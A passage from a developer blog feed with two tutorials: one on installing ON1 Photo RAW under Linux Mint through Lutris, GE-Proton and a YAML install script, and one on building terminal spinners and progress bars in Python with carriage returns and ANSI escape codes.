Mendhak / CodeArticles, information, and tutorials on development, programming, technology, science.2026-04-04T00:00:00Zhttps://code.mendhak.com/mendhakON1 Photo RAW on Linux2026-04-04T00:00:00Zhttps://code.mendhak.com/on1-photo-raw-linux/<p>While Linux is the best environment for development purposes, Windows has been my go-to for gaming and photo processing needs. But given how much time I spend in Linux, I naturally wondered whether I could reduce the need to dual boot.</p>
<p>Gaming has certainly improved considerably, thanks to the efforts of Proton and Wine, but photo processing has always felt out of reach. Recently though, the same effort that’s gone into gaming has made it possible to run ON1 on Linux, and it works quite well. In this post I will walk through the steps I took.</p>
<h2 id="approach" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#approach">Approach</a></h2>
<p>I have previously explored <a href="https://code.mendhak.com/posts/2025-12-08-native-windows-apps-in-linux.md">running Windows applications in Linux natively using containers</a>, but that approach is limited to CPU-bound applications. There isn’t currently a way to run GPU-accelerated applications in that way, which is often required for photo processing. Linux native photo processing applications <em>do exist</em>, but I haven’t yet tackled the steep learning curve to get them working the way I want.</p>
<p>The most common way to run Windows applications on Linux is through Wine, which is a compatibility layer that emulates the Windows API and is sufficient for most applications. However, the most popular photo processing software, Lightroom, simply doesn’t work well on Wine.</p>
<p>Thankfully I recently switched to <a href="https://code.mendhak.com/posts/2024-05-05-moving-on-from-lightroom.md">ON1 Photo Raw</a> which has been working well for what I need. In my searching I came across <a href="https://www.reddit.com/r/winehq/comments/1punxow/success_with_hiccups_on1_photo_raw_using/">a reddit thread</a> discussing getting ON1 working with Wine, so I decided to give it a try and after a bit of trial and error I got it working.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/006a.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/006a.png" alt="ON1 Photo RAW running on Linux showing the various panels and tools and an image of a tree being edited" title="" loading="lazy" /></span>
<figcaption>ON1 Photo RAW on Linux Mint</figcaption>
</figure><p></p>
<h2 id="steps" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#steps">Steps</a></h2>
<p>The steps involved are to get Lutris to manage Wine, and run the ON1 installer and its dependencies through Lutris.</p>
<p>Lutris is a game manager for Linux, but it also supports non game applications. It can manage Wine versions and configurations, which makes it a helpful single-place to manage what you need for an application.</p>
<p>The steps below are what I did on Linux Mint 22.3.</p>
<h3 id="get-lutris-and-proton" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#get-lutris-and-proton">Get Lutris and Proton</a></h3>
<p>Download and run the .deb package from the Lutris Github repo:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">wget</span> https://github.com/lutris/lutris/releases/download/v0.5.22/lutris_0.5.22_all.deb
<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> ./lutris_0.5.22_all.deb</code></pre>
<p>Now to get the Wine version needed, we’ll need “ProtonUp-Qt” from the software manager. Upon launching ProtonUp, it detects that Lutris is installed.</p>
<p>Click ‘Add version’ and select the latest <code>GE-Proton</code> version, which for me was <code>GE-Proton10-34</code>. It downloads and places GE-Proton in the right place for Lutris to use.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/002.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/002.png" alt="ProtonUp-Qt showing GE-Proton10-34" title="" loading="lazy" /></span>
<figcaption>ProtonUp-Qt, with GE-Proton10-34 installed under Lutris</figcaption>
</figure><p></p>
<p>That’s all ProtonUp is needed for, close it.</p>
<h3 id="get-on1-dependencies" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#get-on1-dependencies">Get ON1 dependencies</a></h3>
<p>To get ON1 running in Wine, there are three files needed.</p>
<p>The ON1 installer EXE itself, which you can get from the ON1 website.</p>
<p>The Microsoft .NET 4.8 offline installer, <a href="https://support.microsoft.com/en-us/topic/microsoft-net-framework-4-8-offline-installer-for-windows-9d23f658-3b97-68ab-d013-aa3c3e7495e0">available here</a>.</p>
<p>And WinMetadata.zip, available <a href="https://archive.org/download/win-metadata/WinMetadata.zip">here</a>.</p>
<h3 id="lutris-steps" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#lutris-steps">Lutris steps</a></h3>
<p>Open Lutris, click the <code>+</code> button, and a dialog with install options appears.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/003.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/003.png" alt="Options to install an application through Lutris including a local install script and a manual installation" title="" loading="lazy" /></span>
<figcaption>Options to install an application through Lutris</figcaption>
</figure><p></p>
<p>It’s possible to do the manual method, but the local install script method is simplest, it takes a YML file which describes the steps needed to get ON1 and its dependencies working. Save this file:</p>
<pre class="language-yml"><code class="language-yml"><span class="token key atrule">name</span><span class="token punctuation">:</span> ON1 Photo RAW 2026
<span class="token key atrule">game_slug</span><span class="token punctuation">:</span> on1<span class="token punctuation">-</span>photo<span class="token punctuation">-</span>raw<span class="token punctuation">-</span><span class="token number">2026</span>
<span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token string">"For use with Linux Mint"</span>
<span class="token key atrule">slug</span><span class="token punctuation">:</span> on1<span class="token punctuation">-</span>photo<span class="token punctuation">-</span>raw<span class="token punctuation">-</span><span class="token number">2026</span>
<span class="token key atrule">runner</span><span class="token punctuation">:</span> wine
<span class="token key atrule">script</span><span class="token punctuation">:</span>
<span class="token key atrule">files</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token key atrule">setup</span><span class="token punctuation">:</span> N/A<span class="token punctuation">:</span>Please select the ON1 Photo RAW 2026 installer EXE
<span class="token punctuation">-</span> <span class="token key atrule">dotnet_installer</span><span class="token punctuation">:</span> N/A<span class="token punctuation">:</span>Please select the Microsoft .NET 4.8 Offline Installer (https<span class="token punctuation">:</span>//download.microsoft.com/download/f/3/a/f3a6af84<span class="token punctuation">-</span>da23<span class="token punctuation">-</span>40a5<span class="token punctuation">-</span>8d1c<span class="token punctuation">-</span>49cc10c8e76f/NDP48<span class="token punctuation">-</span>x86<span class="token punctuation">-</span>x64<span class="token punctuation">-</span>AllOS<span class="token punctuation">-</span>ENU.exe)
<span class="token punctuation">-</span> <span class="token key atrule">WinMetadata</span><span class="token punctuation">:</span> N/A<span class="token punctuation">:</span>Please select the WinMetadata.zip file (https<span class="token punctuation">:</span>//archive.org/download/win<span class="token punctuation">-</span>metadata/WinMetadata.zip)
<span class="token key atrule">game</span><span class="token punctuation">:</span>
<span class="token key atrule">arch</span><span class="token punctuation">:</span> win64
<span class="token key atrule">prefix</span><span class="token punctuation">:</span> $GAMEDIR
<span class="token key atrule">exe</span><span class="token punctuation">:</span> $GAMEDIR/drive_c/Program Files/ON1/ON1 Photo RAW 2026/ON1 Photo RAW 2026.exe
<span class="token key atrule">wine</span><span class="token punctuation">:</span>
<span class="token key atrule">version</span><span class="token punctuation">:</span> GE<span class="token punctuation">-</span>Proton10<span class="token punctuation">-</span><span class="token number">34</span>
<span class="token key atrule">dxvk</span><span class="token punctuation">:</span> <span class="token boolean important">true</span>
<span class="token key atrule">vkd3d</span><span class="token punctuation">:</span> <span class="token boolean important">true</span>
<span class="token key atrule">installer</span><span class="token punctuation">:</span>
<span class="token punctuation">-</span> <span class="token key atrule">task</span><span class="token punctuation">:</span>
<span class="token key atrule">name</span><span class="token punctuation">:</span> create_prefix
<span class="token key atrule">description</span><span class="token punctuation">:</span> Creating Wine prefix<span class="token punctuation">...</span>
<span class="token key atrule">arch</span><span class="token punctuation">:</span> win64
<span class="token key atrule">prefix</span><span class="token punctuation">:</span> $GAMEDIR
<span class="token punctuation">-</span> <span class="token key atrule">task</span><span class="token punctuation">:</span>
<span class="token key atrule">name</span><span class="token punctuation">:</span> wineexec
<span class="token key atrule">description</span><span class="token punctuation">:</span> Installing .NET 4.8 (Click through the Microsoft installer windows<span class="token tag">!)</span>
<span class="token key atrule">prefix</span><span class="token punctuation">:</span> $GAMEDIR
<span class="token key atrule">executable</span><span class="token punctuation">:</span> dotnet_installer
<span class="token punctuation">-</span> <span class="token key atrule">execute</span><span class="token punctuation">:</span>
<span class="token key atrule">file</span><span class="token punctuation">:</span> mkdir
<span class="token key atrule">args</span><span class="token punctuation">:</span> <span class="token punctuation">-</span>p "$GAMEDIR/drive_c/windows/system32/WinMetadata"
<span class="token key atrule">description</span><span class="token punctuation">:</span> Creating system directory<span class="token punctuation">...</span>
<span class="token punctuation">-</span> <span class="token key atrule">execute</span><span class="token punctuation">:</span>
<span class="token key atrule">file</span><span class="token punctuation">:</span> unzip
<span class="token key atrule">args</span><span class="token punctuation">:</span> <span class="token punctuation">-</span>j <span class="token punctuation">-</span>q <span class="token punctuation">-</span>o $WinMetadata <span class="token punctuation">-</span>d "$GAMEDIR/drive_c/windows/system32/WinMetadata"
<span class="token key atrule">description</span><span class="token punctuation">:</span> Extracting Metadata UI files<span class="token punctuation">...</span>
<span class="token punctuation">-</span> <span class="token key atrule">task</span><span class="token punctuation">:</span>
<span class="token key atrule">name</span><span class="token punctuation">:</span> winetricks
<span class="token key atrule">description</span><span class="token punctuation">:</span> Installing dependencies (vcrun2022<span class="token punctuation">,</span> fonts<span class="token punctuation">,</span> win11<span class="token punctuation">,</span> vulkan renderer)<span class="token punctuation">...</span>
<span class="token key atrule">arch</span><span class="token punctuation">:</span> win64
<span class="token key atrule">prefix</span><span class="token punctuation">:</span> $GAMEDIR
<span class="token key atrule">app</span><span class="token punctuation">:</span> <span class="token string">"--unattended --force vcrun2022 corefonts tahoma win11 renderer=vulkan"</span>
<span class="token punctuation">-</span> <span class="token key atrule">task</span><span class="token punctuation">:</span>
<span class="token key atrule">name</span><span class="token punctuation">:</span> wineexec
<span class="token key atrule">description</span><span class="token punctuation">:</span> Running ON1 installer<span class="token punctuation">...</span>
<span class="token key atrule">arch</span><span class="token punctuation">:</span> win64
<span class="token key atrule">prefix</span><span class="token punctuation">:</span> $GAMEDIR
<span class="token key atrule">executable</span><span class="token punctuation">:</span> $setup
<span class="token key atrule">args</span><span class="token punctuation">:</span> TargetDir="C<span class="token punctuation">:</span>\Program Files\ON1\ON1 Photo RAW 2026"
</code></pre>
<p>In the Lutris install dialog, select “Install from a local install script”, and pass it the YML file you just saved, and click Install. It will then ask you to provide the three files needed.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/005a.png"><img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/005a.png" alt="Dialog option to provide the YML file" title="" loading="lazy" data-caption="Provide the YML file" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/005b.png"><img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/005b.png" alt="Dialog option to select the installer to run" title="" loading="lazy" data-caption="Select the installer" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/005c.png"><img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/005c.png" alt="Dialog option to select the installation directory defaulting to ~/Games" title="" loading="lazy" data-caption="Select where the Wine prefix and ON1 installation should go, it defaults to ~/Games" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/005d.png"><img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/005d.png" alt="Dialog option to provide the three EXEs downloaded earlier" title="" loading="lazy" data-caption="Provide the EXEs we downloaded earlier" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Lutris installer using the YML script</figcaption></figure>
<p>Clicking Install will then run the installer steps, which can take a while. During the installation, the Microsoft .NET installer will pop up, just click through the steps to complete it.</p>
<p>Eventually, the ON1 Photo Raw installer will appear. It should default to the path <code>C:\Program Files\ON1\ON1 Photo RAW 2026</code>, so just click through the installer until it finishes. Do not choose to launch ON1 at the end though. Instead, just close the installer and return to Lutris.</p>
<p>An application entry for ON1 should now appear in the Lutris window.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/007.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/007.png" alt="Lutris window with ON1 application" title="" loading="lazy" /></span>
<figcaption>Lutris window showing ON1 Photo Raw, I gave it a custom icon too</figcaption>
</figure><p></p>
<p>Click the play button to launch it, and ON1 Photo Raw should launch!</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/006a.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/006a.png" alt="ON1 Photo RAW running on Linux showing the various panels and tools and an image of a tree being edited" title="" loading="lazy" /></span>
<figcaption>ON1 Photo RAW on Linux Mint</figcaption>
</figure><p></p>
<p>And just to prove that GPU acceleration is working, here is nvtop showing ON1 hogging some VRAM:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/006b.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/006b.png" alt="nvtop showing ON1 using GPU resources" title="" loading="lazy" /></span>
<figcaption>nvtop showing ON1 using GPU resources</figcaption>
</figure><p></p>
<h2 id="troubleshooting-and-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#troubleshooting-and-notes">Troubleshooting and notes</a></h2>
<h3 id="blank-screen-and-net-errors" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#blank-screen-and-net-errors">Blank screen and .NET errors</a></h3>
<p>It wasn’t exactly smooth sailing getting to this point. When I first tried running the installer, I kept getting these .NET 4.8 errors.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/009a.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/009a.png" alt="To run this application you first must install one of the following versions of the .NET Framework: .NETFramework,Version=v4.8" title="" loading="lazy" /></span>
<figcaption>.NET 4.8 error</figcaption>
</figure><p></p>
<p>I could only click No here, as Yes launched a browser window. Ignoring the errors and proceeding resulted in ON1 launching, but it was completely dark. Only the first run tutorial would appear, highlighting something I couldn’t see.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/on1-photo-raw-linux/009b.png">
<img src="https://code.mendhak.com/assets/images/on1-photo-raw-linux/009b.png" alt="ON1 blank screen with a tutorial" title="" loading="lazy" /></span>
<figcaption>ON1 blank screen with a tutorial</figcaption>
</figure><p></p>
<p>When I then went in and installed .NET 4.8 manually through Lutris, the ON1 application launched properly, so that was the key fix.</p>
<h3 id="performance" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#performance">Performance</a></h3>
<p>It might just be because I’m doing light testing but the performance feels really fast, and I’m not sure why. It’s not like I’m just browsing either, I’m making it go through masking layers, using some of the generative features, including erase, sky replacements, etc. It feels quite fast, and it’s definitely using the GPU.</p>
<h3 id="on1-files-and-syncing" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/on1-photo-raw-linux/#on1-files-and-syncing">ON1 files and syncing</a></h3>
<p>ON1 sidecar files, which hold the editing information for images, worked right away when I previewed a folder from a photography trip. I pointed at the <code>X:</code> drive which is mapped to my Linux home directory, which in turn is syncing back to Google Drive through Insync. I’ll need to be a little careful with the arrangement here, I won’t want to end up with conflicts.</p>
How do terminal progress bars actually work?2026-03-01T00:00:00Zhttps://code.mendhak.com/how-do-terminal-progress-bars-actually-work/<p>Terminal progress indicators are a common sight in command-line applications, often used to show progress of long running tasks and ensuring users don’t get bored. Implementing them in scripts these days is pretty straightforward thanks to various libraries, but I’ve been curious about how they actually work under the hood.</p>
<p>The answer turned out to be very simple; the magic sauce is the character <code>\r</code>, the carriage return character. The carriage return is actually what’s called a <strong>control</strong> character, it moves the cursor back to the <strong>beginning</strong> of the line. That in turn allows the next output to overwrite the previous output on the same line. To put it another way, this act of overwriting the previous output is little more than a crude animation technique.</p>
<p>Most modern terminal emulators and environments support this behaviour just fine, and that is how most progress indicators are implemented which I’ll show below. It’ll even work with SSH sessions so you can have progress indicators in remote scripts.</p>
<h2 id="simple-number-indicator" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#simple-number-indicator">Simple number indicator</a></h2>
<p>Here’s a classic in-place progress number indicator which simply counts to 20. Save it to a Python file and run it.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> time
num_steps <span class="token operator">=</span> <span class="token number">20</span>
<span class="token keyword">for</span> step <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>num_steps<span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token comment"># The \r is important, it moves the cursor back to the beginning of line</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"Processing </span><span class="token interpolation"><span class="token punctuation">{</span>step<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">}</span></span><span class="token string"> / </span><span class="token interpolation"><span class="token punctuation">{</span>num_steps<span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">,</span> end<span class="token operator">=</span><span class="token string">'\r'</span><span class="token punctuation">)</span>
time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.3</span><span class="token punctuation">)</span>
<span class="token comment"># Print a newline to move the cursor to the next line after the loop is done</span>
<span class="token comment"># otherwise, the done message overwrites the last progress message</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\nDone!"</span><span class="token punctuation">)</span></code></pre>
<p>Note the use of <code>end='\r'</code> in the print statement in the loop, which is how the in-place update is achieved. Importantly as well, the <code>\n</code>, the newline character on the final print statement is necessary to move the cursor along after the loop is done. Without the newline, the “Done!” message would overwrite the last progress message.</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/001.mp4" type="video/mp4" />
</video>
<h2 id="single-character-spinner" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#single-character-spinner">Single character spinner</a></h2>
<p>Single character spinners are a common way to indicate that something is in progress without necessarily showing a percentage. Here, we select from a set of characters in a loop to give the illusion of a spinning animation.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> time
total <span class="token operator">=</span> <span class="token number">20</span>
chars <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"|"</span><span class="token punctuation">,</span> <span class="token string">"/"</span><span class="token punctuation">,</span> <span class="token string">"-"</span><span class="token punctuation">,</span> <span class="token string">"\\"</span><span class="token punctuation">]</span>
<span class="token keyword">for</span> step <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>total<span class="token punctuation">)</span><span class="token punctuation">:</span>
current <span class="token operator">=</span> step <span class="token operator">+</span> <span class="token number">1</span>
selected_char <span class="token operator">=</span> chars<span class="token punctuation">[</span>step <span class="token operator">%</span> <span class="token builtin">len</span><span class="token punctuation">(</span>chars<span class="token punctuation">)</span><span class="token punctuation">]</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"\r</span><span class="token interpolation"><span class="token punctuation">{</span>selected_char<span class="token punctuation">}</span></span><span class="token string"> Processing..."</span></span><span class="token punctuation">,</span> end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span>
time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.3</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\nDone!"</span><span class="token punctuation">)</span></code></pre>
<p>The key is the use of the modulo operator <code>%</code>, to cycle through the characters in the <code>chars</code> list. Each time the loop iterates, it selects the next character based on the current step, creating a spinning effect.</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/002.mp4" type="video/mp4" />
</video>
<p>You can play around with the characters in the <code>chars</code> list to create different styles of spinners. Substitute the <code>chars</code> list as shown here:</p>
<pre class="language-python"><code class="language-python">chars <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"⠋"</span><span class="token punctuation">,</span> <span class="token string">"⠙"</span><span class="token punctuation">,</span> <span class="token string">"⠹"</span><span class="token punctuation">,</span> <span class="token string">"⠸"</span><span class="token punctuation">,</span> <span class="token string">"⠼"</span><span class="token punctuation">,</span> <span class="token string">"⠴"</span><span class="token punctuation">,</span> <span class="token string">"⠦"</span><span class="token punctuation">,</span> <span class="token string">"⠧"</span><span class="token punctuation">,</span> <span class="token string">"⠇"</span><span class="token punctuation">,</span> <span class="token string">"⠏"</span><span class="token punctuation">]</span></code></pre>
<p>This creates:</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/003.mp4" type="video/mp4" />
</video>
<p>See if you can find other interesting characters to use as spinners, here I’ve used the moon phase emojis:</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/002b.mp4" type="video/mp4" />
</video>
<h3 id="with-a-checkmark" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#with-a-checkmark">With a ✔ checkmark</a></h3>
<p>You can take it a step further and replace the final progress message with a checkmark to indicate completion, and this is a fairly common pattern and looks nice. The way it works, instead of a newline in the last message, we use another carriage return to overwrite the last progress message.</p>
<pre class="language-python"><code class="language-python">
<span class="token keyword">import</span> time
total <span class="token operator">=</span> <span class="token number">20</span>
chars <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"⠋"</span><span class="token punctuation">,</span> <span class="token string">"⠙"</span><span class="token punctuation">,</span> <span class="token string">"⠹"</span><span class="token punctuation">,</span> <span class="token string">"⠸"</span><span class="token punctuation">,</span> <span class="token string">"⠼"</span><span class="token punctuation">,</span> <span class="token string">"⠴"</span><span class="token punctuation">,</span> <span class="token string">"⠦"</span><span class="token punctuation">,</span> <span class="token string">"⠧"</span><span class="token punctuation">,</span> <span class="token string">"⠇"</span><span class="token punctuation">,</span> <span class="token string">"⠏"</span><span class="token punctuation">]</span>
<span class="token keyword">for</span> step <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>total<span class="token punctuation">)</span><span class="token punctuation">:</span>
current <span class="token operator">=</span> step <span class="token operator">+</span> <span class="token number">1</span>
selected_char <span class="token operator">=</span> chars<span class="token punctuation">[</span>step <span class="token operator">%</span> <span class="token builtin">len</span><span class="token punctuation">(</span>chars<span class="token punctuation">)</span><span class="token punctuation">]</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"\r</span><span class="token interpolation"><span class="token punctuation">{</span>selected_char<span class="token punctuation">}</span></span><span class="token string"> Processing..."</span></span><span class="token punctuation">,</span> end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span>
time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.3</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"\r✔ Done! "</span></span><span class="token punctuation">)</span> <span class="token comment"># Extra spaces to overwrite any remaining characters from the last progress message</span></code></pre>
<p>Here it is:</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/003b.mp4" type="video/mp4" />
</video>
<h2 id="a-progress-bar" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#a-progress-bar">A progress bar</a></h2>
<p>Now that we understand the basics of in place updates, progress <strong>bars</strong> aren’t that much more complicated. The idea is to create a string that visually represents the progress using a blocky character that fills up a space.</p>
<p>Try this in a file:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> time
total <span class="token operator">=</span> <span class="token number">20</span>
<span class="token keyword">for</span> step <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>total<span class="token punctuation">)</span><span class="token punctuation">:</span>
current <span class="token operator">=</span> step <span class="token operator">+</span> <span class="token number">1</span>
percent <span class="token operator">=</span> current <span class="token operator">/</span> total
bar_length <span class="token operator">=</span> <span class="token number">20</span>
filled <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>bar_length <span class="token operator">*</span> percent<span class="token punctuation">)</span>
bar <span class="token operator">=</span> <span class="token string">"█"</span> <span class="token operator">*</span> filled <span class="token operator">+</span> <span class="token string">"-"</span> <span class="token operator">*</span> <span class="token punctuation">(</span>bar_length <span class="token operator">-</span> filled<span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"\rProcessing: [</span><span class="token interpolation"><span class="token punctuation">{</span>bar<span class="token punctuation">}</span></span><span class="token string">] </span><span class="token interpolation"><span class="token punctuation">{</span>current<span class="token punctuation">}</span></span><span class="token string">/</span><span class="token interpolation"><span class="token punctuation">{</span>total<span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">,</span> end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span>
time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.1</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\nDone!"</span><span class="token punctuation">)</span></code></pre>
<p>The <code>bar</code> string is constructed by repeating the “filled” character <code>█</code> for the completed portion and the <code>-</code> character for the remaining portion.</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/004.mp4" type="video/mp4" />
</video>
<h3 id="bouncing-dot-progress-bar" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#bouncing-dot-progress-bar">Bouncing dot progress bar</a></h3>
<p>A variation on the progress bar, when you don’t have a known total, is to create a bouncing dot progress bar. In this example, the dot moves forwards or backwards depending on whether its position is less than or greater than the bar length.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> time
bar_length <span class="token operator">=</span> <span class="token number">20</span>
<span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">70</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
pos <span class="token operator">=</span> i <span class="token operator">%</span> <span class="token punctuation">(</span>bar_length <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span>
<span class="token comment"># reverse direction</span>
<span class="token keyword">if</span> pos <span class="token operator">>=</span> bar_length<span class="token punctuation">:</span>
pos <span class="token operator">=</span> <span class="token punctuation">(</span>bar_length <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token operator">-</span> pos <span class="token operator">-</span> <span class="token number">1</span>
bar <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"-"</span><span class="token punctuation">]</span> <span class="token operator">*</span> bar_length
bar<span class="token punctuation">[</span>pos<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"●"</span> <span class="token comment"># moving dot</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"\rProcessing: [</span><span class="token interpolation"><span class="token punctuation">{</span><span class="token string">''</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>bar<span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token string">]"</span></span><span class="token punctuation">,</span> end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">,</span> flush<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.05</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\nDone!"</span><span class="token punctuation">)</span></code></pre>
<p>Here it is:</p>
<video controls="">
<source src="https://code.mendhak.com/assets/images/how-do-terminal-progress-bars-actually-work/005.mp4" type="video/mp4" />
</video>
<h2 id="two-progress-indicators-at-once" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/how-do-terminal-progress-bars-actually-work/#two-progress-indicators-at-once">Two progress indicators at once</a></h2>
<p>You might even want to have two progress indicators at once, for example a parent task and nested subtasks.</p>
<p>This does get trickier, as we have to make use of two control sequences, <code>\033[A</code> for “cursor up”, and <code>\033[K</code> for “clear line”.</p>
<p>In this example, we print two lines to reserve space for the progress indicators. Then in each loop, move the cursor up two lines to update the overall progress, then move to the next line to update the loop progress.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> time
<span class="token keyword">import</span> sys
MOVE_UP <span class="token operator">=</span> <span class="token string">"\033[A"</span> <span class="token comment"># this will move the cursor up 1 line</span>
CLEAR_LINE <span class="token operator">=</span> <span class="token string">"\033[K"</span> <span class="token comment"># this will clear the current line</span>
overall_iterations <span class="token operator">=</span> <span class="token number">3</span>
loops <span class="token operator">=</span> <span class="token number">10</span>
<span class="token comment"># We print two empty lines first to "reserve" the space</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\n\n"</span><span class="token punctuation">,</span> end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span>
<span class="token keyword">for</span> iteration <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>overall_iterations<span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token keyword">for</span> loop <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>loops<span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token comment"># Move up 2 lines to update the overall progress</span>
